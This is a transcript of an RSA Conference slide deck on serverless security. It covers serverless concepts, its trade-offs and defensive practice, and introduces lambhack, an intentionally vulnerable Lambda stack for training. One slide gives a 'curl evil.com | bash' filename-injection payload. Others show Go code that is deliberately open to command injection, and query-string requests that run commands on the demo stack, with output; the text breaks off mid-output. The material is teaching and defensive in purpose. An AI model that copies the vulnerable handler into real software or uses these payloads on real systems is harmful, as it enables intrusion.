Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ......

138
SESSION ID: SESSION ID: #RSAC James Wickett Serverless Security: Are You Ready for the Future? ASD-F01 Head of Research Signal Sciences @wickett

Transcript of Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ......

Page 1: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

SESSION ID:SESSION ID:

#RSAC

James Wickett

Serverless Security: Are You Ready for the Future?

ASD-F01

Head of ResearchSignal Sciences@wickett

Page 2: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

James Wickett

2

Head of Research at Signal Sciences

Author DevOps Fundamentals at lynda.com

Author of book on DevOps (email me for a free copy > [email protected])

Blogger at theagileadmin.com and labs.signalsciences.com

Page 3: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Conclusion

3

Serverless encourages functions as deploy units, coupled with third party services that allow running end-to-end applications without worrying about system operation.

New serverless patterns are just emerging

Security with serverless is easier

Security with serverless is harder

Page 4: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Conclusion (2)

4

Four key areas apply to serverless security

Software Supply Chain Security

Delivery Pipeline Security

Data Flow Security

Attack Detection

New! A very vulnerable lambda stack open source project

github.com/wickett/lambhack

Page 5: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

What is Serverless?

Page 6: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Misconceptions

Page 7: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

It’s Marketing

(cloud rebranded)

Page 8: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless ==

no servers

Page 9: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless ==

Backend as a Service

Page 10: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

serverless == Platform as a

Service

Page 11: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

TK: AdrianCO quote

Page 12: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

So, what is Serverless?

Page 13: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

http://martinfowler.com/articles/serverless.html

Page 14: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

@mikebroberts

Page 15: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless was first used to

describe applications that

significantly or fully depend on 3rd

party applications / services (‘in

the cloud’) to manage server-side

logic and state. http://martinfowler.com/articles/serverless.html

Page 16: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless can also mean applications

where some amount of server-side logic is

still written by the application developer

but unlike traditional architectures is run

in stateless compute containers that are

event-triggered, ephemeral (may only last

for one invocation), and fully managed by

a 3rd party.

http://martinfowler.com/articles/serverless.html

Page 17: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

History of Serverless

17

2012 - used to describe BaaS and Continuous Integration services run by third parties

Late 2014 - AWS launched Lambda

July 2015 - AWS launched API Gateway

October 2015 - AWS re:Invent - The Serverless company using AWS Lambda

2015 to present - Frameworks forming

2016 - Serverless Conference

http://www.slideshare.net/AmazonWebServices/arc308-

the-serverless-company-using-aws-lambda

Page 18: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

18

Client

Server

Database

Proxy/LB

ServerServer

Old School Arch

Page 19: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless Arch

19

Client

Auth Service API Gateway

Database

Service

Function A

Function B

Web Delivery

Page 20: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

20

Page 21: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

What can we say is

serverless?

Page 22: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless is Functions As a

Service (FaaS)

Page 23: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Containers on Demand

Page 24: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless is

(no management of)

Servers

Page 25: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless IS SERVICEFULL

Page 26: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless is an opinionated

framework for compute

Page 27: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless encourages

functions as deploy units,

coupled with third party

services that allow running

end-to-end applications

without worrying about

system operation.

Page 28: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

A Short History of Cloud

28

Page 29: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Virtualization

Page 30: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

“The Cloud”

Page 31: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

DEVOPS

Page 32: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

SaaS

PaaS

IaaS

Page 33: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Private Cloud

Page 34: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Then, along came containers

Page 35: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

containers are teh hawtness

Page 36: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

\

Page 37: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Lots of effort in Container

Orchestration

Page 38: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

The Cloud was to

Virtualization as Serverless

will be to Containers

Page 39: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

If you want to lead your company

bravely into the new world, you

would do well to focus lot on

how serverless will evolve.

- @Cloudopinionhttps://medium.com/@cloud_opinion/the-pattern-may-repeat-26de1e8b489d

Page 40: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless encourages

functions as deploy units,

coupled with third party

services that allow running

end-to-end applications

without worrying about

system operation.

Page 41: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

So, what are the upsides?

Page 42: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Scaling built in

Page 43: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Pay for what you use in

100MS increments

Page 44: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

With Serverless system

administration is (mostly)

lower

Page 45: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless is implicit

Microservices

Page 46: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Short Circuits Ops and

moves infrastructure

runtime closer to devs

Page 47: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

You can skip Chefing

Dockering all the things!

Page 48: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Lean Startup Friendly

Page 49: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Increased Velocity

Page 50: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Great, what’s the catch?

Page 51: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Ops Burden to rationalize Serverless

model

(specifically Deploy)

Page 52: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Monitoring

Page 53: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Logging

Page 54: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Stateless for Real

with no persistence* across

function runs

Page 55: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Vendor Lock-In

Page 56: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Security

Page 57: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Reliability

Page 58: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 59: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless Use cases

Page 60: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Image resizing

Page 61: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Queue processing

61

http://martinfowler.com/articles/serverless.html

Page 62: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Run a web application

Page 63: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

API Gateway

63

http://martinfowler.com/articles/serverless.html

Page 64: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

CI/CD

Page 65: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Security is the same and

different

Page 66: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

What used to be system

calls is now distributed

computing over the network

Page 67: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Serverless shifts attack

surface to third parties

Page 68: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Lets try a sample application

in AWS

Page 69: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Go Sparta

69

Golang!

AWS Lambda supports bring your own binary

Sparta wraps your binary with node.js shim

Page 70: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 71: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Other options

71

Serverless Framework

APEX

Kappa

Page 72: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Wordy

72

Analyzes textual occurrences given a block of text, returns JSON count of words

Calls API under the hood to get text

It is comprised of Lambda, s3, API Gateway

Page 73: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 74: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 75: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 76: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

go run main.go provision -s S3_BUCKET

Page 77: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 78: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 79: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 80: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 81: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 82: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 83: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 84: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 85: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 86: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

What I learned about

serverless security

Page 87: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 88: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Security

Page 89: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Four areas of Serverless Security

89

Secure Software Supply Chain

Delivery Pipeline

Data Flow Security

Attack Detection

Page 90: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Secure Software Supply

Chain

Page 91: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Surface area Reduction!

Page 92: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Surface area Expansion!

Page 93: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

SSL / TLS from the Provider

Page 94: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

New Way

Old Way

Page 95: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Routing from the provider

Page 96: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Old Way

New Way

Page 97: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 98: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Lambda + s3 + kinesis + DynamoDB +

cloudformation + API Gateway + Auth0

Page 99: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Abuse of open IAM privs

99

https://media.ccc.de/v/33c3-7865-gone_in_60_milliseconds

Page 100: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Recommendation:

Use a third-party service to

monitor for provider config

changes

Page 101: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Provider Security

101

Disable root access keys

Manage users with profiles

Secure your keys in your deploy system

Secure keys in dev system

Use provider MFA

Page 102: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Delivery Pipeline Security

Page 103: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 104: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Unit Testing

Page 105: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Easier to mock

Harder to mock

Page 106: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 107: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Integration Testing

Page 108: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Configuration is part of

delivery

Page 109: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 110: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Simple Deploy Pipeline Security

110

Only dev keys can push to ‘dev’

Only build/deploy system can push to pre-prod

Integration tests must pass in this env

Security validation must take place

Allow push to prod, only by deploy system

Page 111: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Security Integration Testing

111

BDD-Security - github.com/continuumsecurity/bdd-security

Gauntlt - gauntlt.org

Page 112: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

http://www.slideshare.net/wickett/pragmatic-security-and-rugged-devops-sxsw-2015

Page 113: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Data Flow Security

113

Development

Data Flow Diagrams

Threat modeling

Runtime

Page 114: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Your provider is responsible for the

underlying infrastructure and

services. You are responsible for

ensuring you use the services in a

secure manner.

https://read.acloud.guru/adopting-serverless-architectures-and-security-254a0c12b54a

Page 115: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Application layer DoS

Page 116: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Timeouts and Execution

restrictions

Page 117: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Attack Detection

Page 118: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

https://medium.com/@PaulDJohnston/security-and-serverless-ec52817385c4

Page 119: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

AppSec Greatest Hits (XSS,

SQLi, Cmdexe) still relevant

15 years later!

Page 120: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

AppSec Problems

120

Page 121: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Types of Attacks

121

XSS, Injection, Deserialization, …

New surface area similar problems

e.g. appending to ‘curl evil.com | bash’ or <script>alert(1)</script> to a filename you upload on s3

Page 122: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Defense

122

Logging, emitting events

Vandium (SQLi) wrapper

Content Security Policy (CSP)

More things need to be done here…

Page 123: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

New Thing Alert!

123

Want to see make the point that appsec is still relevant in serverless

A vulnerable Lambda + API Gateway stack (born from the heritage of WebGoat, Rails Goat and Gruyere, …)

Introducing lambhack

Page 124: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Page 125: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

lambhack

125

A Vulnerable Lambda + API Gateway stack

Open Source, MIT licensed

Released for the first time here at RSA

Includes arbitrary code execution in a query string

More work needed, PRs accepted and looking for community help

github.com/wickett/lambhack

Page 126: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

//command := lambdaEvent.PathParams["command"]

command := lambdaEvent.QueryParams["args"]

output := runner.Run(command)

Vulnerable code is also

vulnerable in Serverless

Page 127: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

Let’s take a look at

cmdexe in lambhack

Page 128: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

$ curl "https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args

=uname+-a;+sleep+1"

> Linux ip-10-36-34-119 4.4.35-33.55.amzn1.x86_64 #1 SMP Tue Dec 6 20:30:04 UTC 2016

x86_64 x86_64 x86_64 GNU/Linux

uname -a

Page 129: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args=

cat+/proc/version;+sleep+1"

> Linux version 4.4.35-33.55.amzn1.x86_64 (mockbuild@gobi-build-60006) (gcc version

4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Tue Dec 6 20:30:04 UTC 2016

cat /proc/version

Page 130: Serverless Security: Are You Ready for the Future? Security: Are You Ready for the Future? ... Function A Function B Web Delivery. #RSAC 20. ... function runs. #RSAC Vendor Lock-In.

#RSAC

$ curl "https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/

c?args=ls+-la+/tmp;+sleep+1"

total

17916

drwx------ 2 sbx_user1056 490 4096 Feb 8 22:02 .

